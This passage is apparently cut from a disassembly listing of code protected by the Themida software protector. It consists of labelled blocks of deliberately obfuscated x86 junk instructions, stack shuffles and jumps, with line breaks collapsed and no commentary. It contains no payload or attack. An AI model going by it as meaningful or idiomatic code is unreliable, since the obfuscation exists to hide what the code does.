2 xchg edi, [esp] pop esp xor cl, 0C6h shr cl, 3 not cl add cl, 1 add cl, 0FEh push cx mov cl, 0A5h sub al, cl pop cx add al, 0D2h push edx mov dh, 30h sub al, dh pop edx add al, cl add al, 30h jmp loc_5AC8EA ; --------------------------------------------------------------------------- loc_5A3127: ; CODE XREF: Themida_:loc_5A1FA1j add bl, 84h push 1076h mov [esp], ecx push 0DAh mov [esp], edx mov dl, bl push ebx jmp loc_5ABA09 ; --------------------------------------------------------------------------- loc_5A3142: ; CODE XREF: Themida_:0059D581j push edi xchg ecx, [esp] not ecx xchg ecx, [esp] pop edi push edx mov edx, 16964AF2h xor edi, edx pop edx or edi, 32323A9Eh sub esp, 4 jmp loc_59B299 ; --------------------------------------------------------------------------- loc_5A3166: ; CODE XREF: Themida_:0059DDB3j add esp, 4 add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], ebx push edx mov edx, 4 jmp loc_5AC074 ; --------------------------------------------------------------------------- loc_5A3187: ; CODE XREF: Themida_:005A7450j not edi jmp loc_59918D ; --------------------------------------------------------------------------- loc_5A318E: ; CODE XREF: Themida_:005ACE6Bj xor ebp, 0AB7A0BDh add ecx, ebp mov ebp, [esp] jmp loc_5AA226 ; --------------------------------------------------------------------------- loc_5A319E: ; CODE XREF: Themida_:0059B16Dj push esp pop esi add esi, 4 add esi, 4 xchg esi, [esp] pop esp add esp, 4 push edx push 28h push dword ptr [esp] pop edx add esp, 4 push edi jmp loc_59FD12 ; --------------------------------------------------------------------------- loc_5A31C9: ; CODE XREF: Themida_:005AEDCDj add esp, 4 not ecx dec ecx dec ecx jmp loc_5A0EA2 ; --------------------------------------------------------------------------- loc_5A31D8: ; CODE XREF: Themida_:005A4265j add edx, ecx mov ecx, [esp] add esp, 4 add edx, 4 xchg edx, [esp] pop esp sub ebp, 3E4907EDh add ebp, edi add ebp, 3E4907EDh jmp loc_598759 ; --------------------------------------------------------------------------- loc_5A31FA: ; CODE XREF: Themida_:0059DA95j add ecx, ebp sub ecx, 5BC07827h jmp loc_59E6FB ; --------------------------------------------------------------------------- loc_5A3207: ; CODE XREF: Themida_:0059EB49j push dword ptr [esp] jmp loc_5A0114 ; --------------------------------------------------------------------------- loc_5A320F: ; CODE XREF: Themida_:0059C8A4j add eax, 29788E37h sub dword ptr [esp+4], 250C6AA0h add [esp+4], eax jmp loc_5A60C6 ; --------------------------------------------------------------------------- loc_5A3225: ; CODE XREF: Themida_:005993B3j jmp loc_5A65EB ; --------------------------------------------------------------------------- loc_5A322A: ; CODE XREF: Themida_:005A1BD5j add esp, 4 push edx jmp loc_59F690 ; --------------------------------------------------------------------------- loc_5A3236: ; CODE XREF: Themida_:0059F029j add edx, 0CE96F0Bh jl loc_5A3368 neg edx js loc_5A9A2E push esi mov esi, 4F563E4Ch or esi, 190283Fh pop ecx loc_5A3257: ; CODE XREF: Themida_:005AE70Aj dec dh jl loc_5AF4C0 not dh inc dh jmp loc_5AF080 ; --------------------------------------------------------------------------- loc_5A3268: ; CODE XREF: Themida_:005A9271j push 1A2Fh mov [esp], edx push esi mov esi, 61283E21h xor esi, 61090606h jnp loc_5A2FB7 not esi not esi shl esi, 7 jnp loc_5AB3A2 jmp loc_59A65B ; --------------------------------------------------------------------------- not al shr al, 6 inc al mov dl, bh push edx loc_5A329E: ; CODE XREF: Themida_:0059FB27j push 458Fh mov [esp], ecx mov ecx, esp push edi jmp loc_5A424E ; --------------------------------------------------------------------------- loc_5A32AE: ; CODE XREF: Themida_:00598960j mov esp, [esp] mov [esp], cx push ebx mov bh, 0A6h push ecx mov ch, 0B2h jmp loc_59FC76 ; --------------------------------------------------------------------------- loc_5A32C0: ; CODE XREF: Themida_:0059F333j sub eax, 29C73DB3h push dword ptr [esp] mov ebx, [esp] jmp loc_5ACE55 ; --------------------------------------------------------------------------- loc_5A32D0: ; CODE XREF: Themida_:005AEBC6j mov [esp], ebx mov ebx, 72E90469h xor edi, ebx mov ebx, [esp] add esp, 4 sub ebp, edi jmp loc_5993CE ; --------------------------------------------------------------------------- loc_5A32EA: ; CODE XREF: Themida_:005A5625j push esi push 571Ch jmp loc_59B645 ; --------------------------------------------------------------------------- loc_5A32F5: ; CODE XREF: Themida_:005A15F8j sub esp, 4 mov [esp], ebx push 5080h mov [esp], ecx jmp loc_59EC16 ; --------------------------------------------------------------------------- loc_5A3308: ; CODE XREF: Themida_:00598921j ; Themida_:005A4BBCj jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A330D: ; CODE XREF: Themida_:005AE7FDj push edx mov edx, 444601F4h sub edx, 1859AD52h jmp loc_59BBDD ; --------------------------------------------------------------------------- loc_5A331E: ; CODE XREF: Themida_:0059D5A9j mov ebp, ecx push ebp add dword ptr [esp], 7E6D1C11h pop esi jmp loc_59A850 ; --------------------------------------------------------------------------- loc_5A332E: ; CODE XREF: Themida_:loc_5AA2BFj jmp loc_59B0D5 ; --------------------------------------------------------------------------- loc_5A3333: ; CODE XREF: Themida_:loc_5AAF7Dj push ebp jmp loc_59F2C3 ; --------------------------------------------------------------------------- loc_5A3339: ; CODE XREF: Themida_:005A6782j pop ebx pop dword ptr [esp] pop esp mov [esp], edi pop ecx mov edi, [esp] jmp loc_5A2702 ; --------------------------------------------------------------------------- loc_5A334A: ; CODE XREF: Themida_:0059A8D3j pop esp jmp loc_5A46D9 ; --------------------------------------------------------------------------- loc_5A3350: ; CODE XREF: Themida_:005AF4AFj mov [esp], eax xchg edx, [esp] not edx xchg edx, [esp] jmp loc_598A03 ; --------------------------------------------------------------------------- loc_5A3360: ; CODE XREF: Themida_:00599B62j or dl, 0D5h jmp loc_59DFEB ; --------------------------------------------------------------------------- loc_5A3368: ; CODE XREF: Themida_:005A323Cj neg edx js loc_5A7D65 push esi jmp loc_59C394 ; --------------------------------------------------------------------------- inc bl push edx mov bl, 28h loc_5A337B: ; CODE XREF: Themida_:0059AA54j pop eax push ebx mov bl, cl jmp loc_5A7823 ; --------------------------------------------------------------------------- loc_5A3384: ; CODE XREF: Themida_:005A30DEj jmp loc_5AEDC3 ; --------------------------------------------------------------------------- loc_5A3389: ; CODE XREF: Themida_:005AB8FEj sub edx, 7F3B5307h pop ebx push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] jmp loc_59CAD1 ; --------------------------------------------------------------------------- loc_5A339E: ; CODE XREF: Themida_:005A14C3j pop eax jmp loc_59AC8D ; --------------------------------------------------------------------------- loc_5A33A4: ; CODE XREF: Themida_:005AA2BAj add eax, 27857977h push esi jmp loc_59B9E6 ; --------------------------------------------------------------------------- loc_5A33AF: ; CODE XREF: Themida_:0059928Fj ; Themida_:005A3812j sub dword ptr [esp+4], 461A4895h pop ebp push dword ptr [esp] jmp loc_5A08EA ; --------------------------------------------------------------------------- loc_5A33C0: ; CODE XREF: Themida_:005A89CDj or esi, 4C617736h jno loc_59FCC5 jmp loc_5A71A8 ; --------------------------------------------------------------------------- add esi, 719C3375h or edx, esi pop esi loc_5A33DA: ; CODE XREF: Themida_:005A35AAj push dword ptr [esp] pop edx push 54DDh mov [esp], ebx mov ebx, esp add ebx, 4 sub ebx, 4 push 1430h jmp loc_59C0EE ; --------------------------------------------------------------------------- loc_5A33FE: ; CODE XREF: Themida_:005A58DDj shl eax, 4 or eax, 767D038Ch sub eax, 0CDB0AD3Bh add edi, eax pop eax and edi, 2B153861h push ebx mov ebx, 64282097h or edi, ebx pop ebx jmp loc_59A0A8 ; --------------------------------------------------------------------------- loc_5A3422: ; CODE XREF: Themida_:005A5459j add esp, 4 jmp loc_59B8A7 ; --------------------------------------------------------------------------- loc_5A342D: ; CODE XREF: Themida_:005A78C7j ; Themida_:005ACF4Aj mov esi, 464401A3h shl esi, 1 jmp loc_5A6C2C ; --------------------------------------------------------------------------- loc_5A3439: ; CODE XREF: Themida_:005AD203j pop eax inc di jmp loc_59B724 ; --------------------------------------------------------------------------- loc_5A3441: ; CODE XREF: Themida_:0059CC39j pop edx sub bl, cl pop cx movzx eax, al push dword ptr [edi+eax*4] sub esp, 4 mov [esp], eax mov eax, 39B87E04h add eax, 0FFFFFFFFh inc eax jno loc_599E3F push 57CEh mov [esp], edx sub esp, 4 push esp loc_5A3470: ; CODE XREF: Themida_:005A5A55j pop edi mov ecx, [esp] add esp, 4 mov edx, ebp push dword ptr [esp] pop ebp push esi push esp pop esi jmp loc_5AA7A2 ; --------------------------------------------------------------------------- loc_5A3488: ; CODE XREF: Themida_:0059E147j xor ebx, edi xor edi, ebx inc edi add edi, 3ABC7A69h add edi, 99846BECh add edx, edi jmp loc_59CD80 ; --------------------------------------------------------------------------- loc_5A34A0: ; CODE XREF: Themida_:005A00CBj ; Themida_:005A7484j add ebx, 26E71BEBh push 7352h jmp loc_59BFD2 ; --------------------------------------------------------------------------- loc_5A34B0: ; CODE XREF: Themida_:005A5B26j push 1572h mov [esp], edi push esp pop edi add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_5A13AB ; --------------------------------------------------------------------------- loc_5A34CF: ; CODE XREF: Themida_:0059B229j add ecx, edi pop edi push ebp push ebx mov ebx, 4 mov ebp, ebx pop ebx add ecx, ebp pop ebp push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] add [esp], eax pushf jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A34F4: ; CODE XREF: Themida_:005A8FFCj jmp loc_59DE47 ; --------------------------------------------------------------------------- loc_5A34F9: ; CODE XREF: Themida_:loc_5A3CECj jmp loc_5A715D ; --------------------------------------------------------------------------- loc_5A34FE: ; CODE XREF: Themida_:0059C737j pop esp shr word ptr [esp], cl pushf jmp loc_59838C ; --------------------------------------------------------------------------- mov cx, [esp] push 7255h mov [esp], edi push esp mov edi, [esp] add esp, 4 push 7CDh jmp loc_5AB105 ; --------------------------------------------------------------------------- loc_5A3526: ; CODE XREF: Themida_:0059D377j pop ecx add esp, 4 mov ch, dh jmp loc_5A908E ; --------------------------------------------------------------------------- loc_5A3531: ; CODE XREF: Themida_:0059CEFAj xchg edx, [esp] pop esp push dword ptr [esp] pop eax add esp, 4 jmp loc_5AA808 ; --------------------------------------------------------------------------- loc_5A3544: ; CODE XREF: Themida_:005A0DB3j pop ecx push 224Dh mov [esp], eax jmp loc_59A02C ; --------------------------------------------------------------------------- loc_5A3552: ; CODE XREF: Themida_:0059ED43j sub esp, 4 mov [esp], esi mov esi, 554D5442h jmp loc_5AD7A2 ; --------------------------------------------------------------------------- loc_5A3562: ; CODE XREF: Themida_:0059DBA9j mov ebp, 0EAFD65EEh sub esi, ebp pop ebp push esi push edx mov edx, 0F9B7999h xor [esp+4], edx pop edx jmp loc_5A4929 ; --------------------------------------------------------------------------- loc_5A357B: ; CODE XREF: Themida_:005A7F09j and edx, ecx pop ecx sub edx, 0F4D3FF1Bh sub eax, 1A987041h add eax, edx add eax, 1A987041h jmp loc_5A4350 ; --------------------------------------------------------------------------- loc_5A3595: ; CODE XREF: Themida_:005A05EFj and ecx, eax push dword ptr [esp] mov eax, [esp] add esp, 4 jmp loc_598C42 ; --------------------------------------------------------------------------- loc_5A35A8: ; CODE XREF: Themida_:005A3D51j xor eax, edx jmp loc_5A33DA ; --------------------------------------------------------------------------- loc_5A35AF: ; CODE XREF: Themida_:00599C52j mov edi, [esp] add esp, 4 push ecx push ebx mov ebx, 1C136338h shr ebx, 7 jmp loc_5ABB5A ; --------------------------------------------------------------------------- loc_5A35C7: ; CODE XREF: Themida_:005A9608j push dword ptr [esp] pop eax push ecx jmp loc_5AF459 ; --------------------------------------------------------------------------- loc_5A35D1: ; CODE XREF: Themida_:005AB08Dj push ebx jmp loc_5ACAF3 ; --------------------------------------------------------------------------- loc_5A35D7: ; CODE XREF: Themida_:0059C1B9j mov [esp], esi jmp loc_5AEDD2 ; --------------------------------------------------------------------------- loc_5A35DF: ; CODE XREF: Themida_:005AF3ECj pop esi sub eax, 1EBE1C6Bh sub ebx, eax pop eax add ebx, edi add ebx, 49795193h jmp loc_59C0F6 ; --------------------------------------------------------------------------- loc_5A35F5: ; CODE XREF: Themida_:0059C686j add edi, 4 add edi, 4 xchg edi, [esp] mov esp, [esp] and ebx, ecx pop ecx jmp loc_59D3EE ; --------------------------------------------------------------------------- loc_5A360F: ; CODE XREF: Themida_:005AD315j add esp, 4 add ecx, ebx mov ebx, [esp] add esp, 4 pop ebp jmp loc_59B31C ; --------------------------------------------------------------------------- loc_5A3620: ; CODE XREF: Themida_:005A61CFj pop edx jmp loc_5ADD25 ; --------------------------------------------------------------------------- loc_5A3626: ; CODE XREF: Themida_:0059D5CCj xor ebp, 7ECE04FCh mov ecx, ebp mov ebp, [esp] jmp loc_5985E2 ; --------------------------------------------------------------------------- loc_5A3636: ; CODE XREF: Themida_:005A51E8j sub edi, 48DC7EE8h mov ebx, edi jmp loc_59FA34 ; --------------------------------------------------------------------------- loc_5A3643: ; CODE XREF: Themida_:005A9CF0j mov [esp], ebp mov ebp, esp add ebp, 4 jmp loc_5AB232 ; --------------------------------------------------------------------------- loc_5A3653: ; CODE XREF: Themida_:005A6080j sub eax, ebp pop ebp pop ebx sub esi, 342E3272h add esi, eax push eax jmp loc_5AA062 ; --------------------------------------------------------------------------- loc_5A3665: ; CODE XREF: Themida_:0059ECFFj sub esi, ecx mov ecx, [esp] add esp, 4 mov edx, [esp] add esp, 4 xor esi, [esp] xor [esp], esi jmp loc_5AE731 ; --------------------------------------------------------------------------- loc_5A367E: ; CODE XREF: Themida_:0059F9DEj push eax jmp loc_59B53A ; --------------------------------------------------------------------------- loc_5A3684: ; CODE XREF: Themida_:005A52CCj neg ebp jg loc_5A7F0E jmp loc_59DA6E ; --------------------------------------------------------------------------- sub eax, 78C43B9Bh push ebx loc_5A3697: ; CODE XREF: Themida_:loc_5AB1C0j dec ebx jns loc_5A05F4 jmp loc_59A04E ; --------------------------------------------------------------------------- pop edx push esi push esp pop esi mov ch, dh pop esi loc_5A36AA: ; CODE XREF: Themida_:0059FF01j ; Themida_:loc_5A56C6j push eax mov eax, 7C1619CEh shr eax, 4 and eax, 6D3802BFh add eax, 6CB3289h xor ebp, eax pop eax or ecx, ebp mov ebp, [esp] jmp loc_59F685 ; --------------------------------------------------------------------------- loc_5A36CA: ; CODE XREF: Themida_:0059DA4Bj sub edx, 0FFFFFFFFh shr edx, 7 push ebp mov ebp, 0FFFFFFFFh sub edx, ebp pop ebp add edx, 0FFA0115Bh push edx mov edx, 61B72582h xor edx, 6A31754h add eax, edx jmp loc_5A9E89 ; --------------------------------------------------------------------------- loc_5A36F2: ; CODE XREF: Themida_:00598D03j jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A36F7: ; CODE XREF: Themida_:005A9F65j push ecx push ebx jmp loc_59F787 ; --------------------------------------------------------------------------- loc_5A36FE: ; CODE XREF: Themida_:005A127Aj ; Themida_:005A4D90j push 29A9h mov [esp], ebx push dword ptr [esp] pop ebx push eax push 5A78h push esp pop dword ptr [esp] add dword ptr [esp], 4 push dword ptr [esp] pop eax jmp loc_5A67EF ; --------------------------------------------------------------------------- loc_5A3724: ; CODE XREF: Themida_:005A58A8j sub edi, 13CDFDA0h mov esi, edi pop edi sub esp, 4 mov [esp], edx push 37332E0h pop edx inc edx shl edx, 7 push ebx mov ebx, 7398E883h xor edx, ebx pop ebx jmp loc_5A200C ; --------------------------------------------------------------------------- loc_5A374E: ; CODE XREF: Themida_:005A6A81j add edi, 4 push ecx jmp loc_5A1116 ; --------------------------------------------------------------------------- loc_5A375A: ; CODE XREF: Themida_:005A3F5Bj mov edi, esp add edi, 4 push edx jmp loc_5A1CE1 ; --------------------------------------------------------------------------- loc_5A3768: ; CODE XREF: Themida_:0059AEBDj and eax, 463B0F7Ah xor eax, 30766DC6h sub edi, eax pop eax add edi, ecx add edi, 707E6B8Ch push dword ptr [esp] jmp loc_5A9A9C ; --------------------------------------------------------------------------- loc_5A3785: ; CODE XREF: Themida_:0059AF1Ej add al, 0A1h push small 4CCBh jmp loc_59F8D4 ; --------------------------------------------------------------------------- loc_5A3790: ; CODE XREF: Themida_:005A783Bj sub esi, 4 xchg esi, [esp] jmp loc_599A28 ; --------------------------------------------------------------------------- loc_5A379B: ; CODE XREF: Themida_:005AE6DEj push esi push eax mov eax, 5C42010h mov esi, 73F21975h jmp loc_598A8D ; --------------------------------------------------------------------------- loc_5A37AC: ; CODE XREF: Themida_:0059B7DFj mov esp, [esp] jmp loc_5A5A73 ; --------------------------------------------------------------------------- loc_5A37B4: ; CODE XREF: Themida_:005A822Ej sub esp, 4 jmp loc_5AE218 ; --------------------------------------------------------------------------- loc_5A37BF: ; CODE XREF: Themida_:005ADD50j add esp, 4 shr esi, 6 push ecx mov ecx, 31D37857h shl ecx, 6 neg ecx jmp loc_5995DF ; --------------------------------------------------------------------------- loc_5A37D8: ; CODE XREF: Themida_:0059DB9Ej or dh, al push dword ptr [esp] mov eax, [esp] add esp, 4 add esp, 4 push ebx mov bl, 0F8h dec bl shl bl, 7 dec bl jmp loc_5A93FE ; --------------------------------------------------------------------------- loc_5A37F8: ; CODE XREF: Themida_:005A5CD8j add dword ptr [esp], 1B531D13h push edi mov edi, 7B381C15h jmp loc_5AD2D5 ; --------------------------------------------------------------------------- loc_5A380A: ; CODE XREF: Themida_:0059EB39j sub eax, 7324145Eh shr eax, 6 jmp loc_5A33AF ; --------------------------------------------------------------------------- loc_5A3817: ; CODE XREF: Themida_:005A4649j push 546E1FEEh mov ecx, [esp] add esp, 4 push ecx not dword ptr [esp] pop ecx sub ecx, 3B1FC3ECh jmp loc_5A2AAE ; --------------------------------------------------------------------------- loc_5A3835: ; CODE XREF: Themida_:0059BF33j ; Themida_:005A48B5j mov eax, 30C27975h add eax, 3F000540h sub eax, 6BD2712Bh jmp loc_5AD9F7 ; --------------------------------------------------------------------------- loc_5A3849: ; CODE XREF: Themida_:0059DDCBj sub eax, edi jmp loc_5AB67B ; --------------------------------------------------------------------------- loc_5A3850: ; CODE XREF: Themida_:00599609j pop edi pop ecx jmp loc_5A6B16 ; --------------------------------------------------------------------------- loc_5A3857: ; CODE XREF: Themida_:0059A656j add eax, edx add eax, 1C0F4906h pop edx add ebx, 54A66399h jmp loc_5AC4D2 ; --------------------------------------------------------------------------- loc_5A386A: ; CODE XREF: Themida_:005AD681j pop eax add esp, 4 push edx mov edx, 4 jmp loc_5A2765 ; --------------------------------------------------------------------------- loc_5A3879: ; CODE XREF: Themida_:005AC120j push dword ptr [esp+4] mov ebp, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] jmp loc_5A6868 ; --------------------------------------------------------------------------- loc_5A388E: ; CODE XREF: Themida_:005AEEC0j mov ecx, ebx mov ebx, [esp] add esp, 4 push 6F6h mov [esp], ecx mov edx, [esp] add esp, 4 mov ecx, [esp] add esp, 4 pop edi mov ecx, [esp] add esp, 4 jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A38BF: ; CODE XREF: Themida_:0059D003j xor ebx, 65009F4h and eax, ebx jmp loc_59C219 ; --------------------------------------------------------------------------- loc_5A38CC: ; CODE XREF: Themida_:0059C0E9j mov [esp], eax push edx jmp loc_5A41CF ; --------------------------------------------------------------------------- loc_5A38D5: ; CODE XREF: Themida_:005A7B53j push 38DDh mov [esp], ecx push 7A81h jmp loc_5ADCD8 ; --------------------------------------------------------------------------- loc_5A38E7: ; CODE XREF: Themida_:0059B696j pop esi add eax, 4 push eax push dword ptr [esp+4] jmp loc_5A6157 ; --------------------------------------------------------------------------- loc_5A38F7: ; CODE XREF: Themida_:0059FAD0j sub bl, 88h add bl, al add bl, 88h sub esp, 4 mov [esp], edx jmp loc_5A2BA3 ; --------------------------------------------------------------------------- loc_5A390A: ; CODE XREF: Themida_:005ACBB9j shr eax, 18h jmp loc_5A6BA4 ; --------------------------------------------------------------------------- loc_5A3912: ; CODE XREF: Themida_:005A6F68j ; Themida_:005A8137j push 6C0818D8h jmp loc_5A833D ; --------------------------------------------------------------------------- loc_5A391C: ; CODE XREF: Themida_:00599547j push ecx mov ch, 0C3h mov bl, 0Fh sub bl, ch pop ecx shl bl, 2 sub esp, 2 mov [esp], bx inc byte ptr [esp] pop bx and bl, 0B1h not bl sub bl, 73h add al, 76h sub al, bl jmp loc_5AD5B3 ; --------------------------------------------------------------------------- loc_5A3947: ; CODE XREF: Themida_:005A64CAj ; Themida_:005AED79j pop esp pop dword ptr [esp] jmp loc_5A2184 ; --------------------------------------------------------------------------- loc_5A3950: ; CODE XREF: Themida_:005A812Ej shl ebx, 5 jmp loc_599D59 ; --------------------------------------------------------------------------- loc_5A3958: ; CODE XREF: Themida_:0059C091j push ebp push ecx mov ecx, 2B063D38h mov ebp, ecx jmp loc_5A8C19 ; --------------------------------------------------------------------------- loc_5A3966: ; CODE XREF: Themida_:005993D5j add edi, 4 push eax mov eax, 4 add edi, eax jmp loc_5A47CA ; --------------------------------------------------------------------------- mov ax, [esp] push 28F8h mov [esp], esi jmp loc_59D893 ; --------------------------------------------------------------------------- loc_5A398A: ; CODE XREF: Themida_:0059E87Bj add ecx, 29471047h pop edx jmp loc_5A2ED3 ; --------------------------------------------------------------------------- loc_5A3996: ; CODE XREF: Themida_:005A654Bj push ebp jmp loc_59CDAD ; --------------------------------------------------------------------------- loc_5A399C: ; CODE XREF: Themida_:0059BE58j ; Themida_:005A679Bj pop edx push dword ptr [esp] pop ebx push esi push 51E3h mov [esp], esp jmp loc_5A1680 ; --------------------------------------------------------------------------- loc_5A39AF: ; CODE XREF: Themida_:005A79CEj ; Themida_:loc_5A914Dj xor ecx, 2D50249Ch jmp loc_5A5B7F ; --------------------------------------------------------------------------- loc_5A39BA: ; CODE XREF: Themida_:005A6257j mov ebx, 4 add edx, ebx pop ebx xchg edx, [esp] mov esp, [esp] jmp loc_5A8F9D ; --------------------------------------------------------------------------- loc_5A39CD: ; CODE XREF: Themida_:005A8072j push ebp jmp loc_5AEBF8 ; --------------------------------------------------------------------------- loc_5A39D3: ; CODE XREF: Themida_:005A30D6j mov ecx, 47870C74h jmp loc_5A9CF5 ; --------------------------------------------------------------------------- loc_5A39DD: ; CODE XREF: Themida_:0059B859j xor edx, [esp] xor [esp], edx xor edx, [esp] jmp loc_5A0777 ; --------------------------------------------------------------------------- loc_5A39EB: ; CODE XREF: Themida_:005AA763j jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A39F0: ; CODE XREF: Themida_:loc_5AA473j or ah, 46h ja loc_5AE837 jmp loc_5A4EB8 ; --------------------------------------------------------------------------- sub eax, 6EB4002Bh mov cl, bh loc_5A3A05: ; CODE XREF: Themida_:0059AB8Fj ; Themida_:005A6B53j xor ecx, [esp] pop esp mov ecx, [esp] add esp, 4 jmp loc_59D03B ; --------------------------------------------------------------------------- loc_5A3A14: ; CODE XREF: Themida_:005A7CC1j sub esp, 2 mov [esp], bx push edx mov dh, 4Bh jmp loc_5AE4DE ; --------------------------------------------------------------------------- loc_5A3A26: ; CODE XREF: Themida_:0059D942j sub edx, 6FA40152h jmp loc_5A78B0 ; --------------------------------------------------------------------------- loc_5A3A31: ; CODE XREF: Themida_:005AAEC8j mov edx, [esp] jmp loc_5A673C ; --------------------------------------------------------------------------- loc_5A3A39: ; CODE XREF: Themida_:0059AA5Ej mov [esp], esi mov esi, esp add esi, 4 jmp loc_5A9075 ; --------------------------------------------------------------------------- loc_5A3A49: ; CODE XREF: Themida_:005A4B84j ; Themida_:005A60F1j neg ebx sub ebx, 12201BABh jbe loc_5A78A2 add ebx, 868D5FF1h mov esi, ebx pop ebx mov edx, 4C6A443Ch xor edx, esi pop esi add esi, 4E5649Bh jmp loc_5A5EF0 ; --------------------------------------------------------------------------- loc_5A3A73: ; CODE XREF: Themida_:0059BC46j jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A3A78: ; CODE XREF: Themida_:005AC52Bj mov edi, ebx pop ebx add eax, edi mov edi, [esp] add esp, 4 jmp loc_59DF8C ; --------------------------------------------------------------------------- loc_5A3A88: ; CODE XREF: Themida_:0059EF3Bj add al, bl jmp loc_5AA8EF ; --------------------------------------------------------------------------- loc_5A3A8F: ; CODE XREF: Themida_:005A10FCj push edx mov dl, 0CCh inc dl and dl, 90h add dl, 14h add al, dl pop edx jmp loc_5AC2F9 ; --------------------------------------------------------------------------- loc_5A3AA2: ; CODE XREF: Themida_:005AD1BCj mov ebx, 45AD1F6Eh push edx mov edx, 2CFC0154h jmp loc_5AD886 ; --------------------------------------------------------------------------- loc_5A3AB2: ; CODE XREF: Themida_:005AA64Cj push 4435h mov [esp], ecx push ebx mov ebx, 3C0F4FF8h mov ecx, 558B3A2Ah xor ecx, ebx pop ebx sub ecx, 698475CEh add eax, 100D2E6Dh jmp loc_5A3CF7 ; --------------------------------------------------------------------------- loc_5A3AD8: ; CODE XREF: Themida_:005A6395j mov ch, dh mov bh, ch pop ecx pop edx xor al, bh mov bx, [esp] push 45DDh jmp loc_59ADEC ; --------------------------------------------------------------------------- loc_5A3AEE: ; CODE XREF: Themida_:0059D083j not ebx xor ebx, 87C32A4h jmp loc_59F510 ; --------------------------------------------------------------------------- loc_5A3AFB: ; CODE XREF: Themida_:005A695Dj ; Themida_:005A91AEj pop ebx jmp loc_5A0DC4 ; --------------------------------------------------------------------------- loc_5A3B01: ; CODE XREF: Themida_:005AB45Ej add edi, edx pop edx xchg edi, [esp] mov esp, [esp] movzx ecx, ax push 6F40h mov [esp], ecx jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A3B1A: ; CODE XREF: Themida_:005A93F2j mov bh, dh pop edx add bh, 0F4h jmp loc_59D4F8 ; --------------------------------------------------------------------------- lodsd xor eax, ebx jmp loc_5AC8CC ; --------------------------------------------------------------------------- loc_5A3B2D: ; CODE XREF: Themida_:0059A1D1j mov ebp, 24F083CBh sub eax, 1AA31A3h sub eax, ebp push 6376h mov [esp], ebx jmp loc_5A4C9D ; --------------------------------------------------------------------------- loc_5A3B46: ; CODE XREF: Themida_:005A6B04j push ecx pop ebp push dword ptr [esp] push dword ptr [esp] push dword ptr [esp] jmp loc_5A6EAF ; --------------------------------------------------------------------------- loc_5A3B56: ; CODE XREF: Themida_:0059852Fj pop esp jmp loc_5A669B ; --------------------------------------------------------------------------- loc_5A3B5C: ; CODE XREF: Themida_:005A5F5Bj ; Themida_:005A81F3j add edx, edi jmp loc_59CDBF ; --------------------------------------------------------------------------- loc_5A3B63: ; CODE XREF: Themida_:005A3E83j mov bl, 5Ch xor bl, 76h sub dh, bl pop ebx add dh, 75h sub dh, ah sub dh, 75h push ecx mov ch, 21h add ch, 5Fh jmp loc_5A8721 ; --------------------------------------------------------------------------- loc_5A3B7E: ; CODE XREF: Themida_:005A41B8j push dword ptr [esp] pop ebx add esp, 4 push edx push eax mov ah, 36h push ebx mov bl, 33h sub bl, 0F5h jmp loc_5A3E7F ; --------------------------------------------------------------------------- loc_5A3B97: ; CODE XREF: Themida_:0059E9E4j mov esi, 2988565Dh push edi mov edi, 2C22462Dh add esi, edi pop edi shr esi, 8 jmp loc_5A2C66 ; --------------------------------------------------------------------------- loc_5A3BAD: ; CODE XREF: Themida_:005AC583j mov [esp], edx push ecx mov cl, 59h mov dh, cl pop ecx or dh, 93h and dh, 90h or dh, 0C9h push bx mov bh, 8Dh sub dh, 0F5h sub dh, bh add dh, 0F5h pop bx jmp loc_599533 ; --------------------------------------------------------------------------- loc_5A3BD2: ; CODE XREF: Themida_:0059F4DFj push 4418h mov [esp], ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] jmp loc_59E0FB ; --------------------------------------------------------------------------- loc_5A3BE7: ; CODE XREF: Themida_:0059C1DAj mov [esp], ebx push eax jmp loc_59F295 ; --------------------------------------------------------------------------- loc_5A3BF0: ; CODE XREF: Themida_:005A4EE4j mov ch, 0A3h sub ch, 21h jmp loc_5ABB7C ; --------------------------------------------------------------------------- loc_5A3BFA: ; CODE XREF: Themida_:005A164Dj pop ecx sub esp, 4 jmp loc_5AD349 ; --------------------------------------------------------------------------- loc_5A3C06: ; CODE XREF: Themida_:0059AAB2j push esi mov esi, 51B71960h push ebp mov ebp, 295A3063h xor esi, ebp jmp loc_59A74F ; --------------------------------------------------------------------------- loc_5A3C19: ; CODE XREF: Themida_:0059C07Dj pop ebx add esi, ecx add esi, 2F4D0AFBh mov ecx, [esp] push edi push esp pop edi add edi, 4 add edi, 4 jmp loc_5AC82C ; --------------------------------------------------------------------------- loc_5A3C36: ; CODE XREF: Themida_:005A5A62j mov ebp, 0FCC36F7h shl ebp, 6 and ebp, 0E2954D0h dec ebp push eax mov eax, 0B2191D2Dh xor ebp, eax pop eax add eax, ebp pop ebp push eax pop dword ptr [edi+20h] pop eax push 6FF6h mov [esp], esi push 234Ah mov [esp], edi push 127A02C1h jmp loc_5A2A57 ; --------------------------------------------------------------------------- loc_5A3C70: ; CODE XREF: Themida_:005A0662j ; Themida_:005A4509j and dh, 0F7h push eax mov al, 5Ch xor al, 0A8h jmp loc_5AEFDE ; --------------------------------------------------------------------------- loc_5A3C7D: ; CODE XREF: Themida_:005AC0B1j pop eax sub esp, 4 jmp loc_5A94F5 ; --------------------------------------------------------------------------- loc_5A3C86: ; CODE XREF: Themida_:00599480j add edx, 42EE2A19h not edx add edx, 7DBC6636h sub eax, edx pop edx xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] mov [esp], ebp mov ebp, 383863BEh jmp loc_5A0071 ; --------------------------------------------------------------------------- loc_5A3CB0: ; CODE XREF: Themida_:00598AC7j add esp, 2 jmp loc_5A0E3E ; --------------------------------------------------------------------------- loc_5A3CBB: ; CODE XREF: Themida_:005A6BE0j xor [esp], edi jmp loc_5A07DB ; --------------------------------------------------------------------------- loc_5A3CC3: ; CODE XREF: Themida_:005A5319j mov eax, [esp] add esp, 4 